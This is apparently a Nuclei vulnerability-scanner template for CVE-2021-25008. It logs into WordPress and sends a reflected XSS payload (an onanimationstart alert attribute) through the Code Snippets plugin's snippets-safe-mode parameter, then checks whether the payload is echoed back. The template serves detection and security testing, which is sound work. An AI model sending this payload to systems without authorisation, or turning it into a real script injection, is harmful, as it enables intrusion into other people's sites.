CVE-2021-25008.yaml

id: CVE-2021-25008

info:
  name: The Code Snippets WordPress plugin < 2.14.3 - XSS
  author: cckuailong
  severity: medium
  description: The Code Snippets WordPress plugin before 2.14.3 does not escape the snippets-safe-mode parameter before outputting it back in attributes, leading to a Reflected Cross-Site Scripting issue.
  reference:
    - https://wpscan.com/vulnerability/cb232354-f74d-48bb-b437-7bdddd1df42a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25008
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25008
    cwe-id: CWE-79
  tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28/XSS/%29+x%3D HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\" style=animation-name:rotation onanimationstart=alert(/XSS/) x"
          - "Snippets"
        condition: and

      - type: status
        status:
          - 200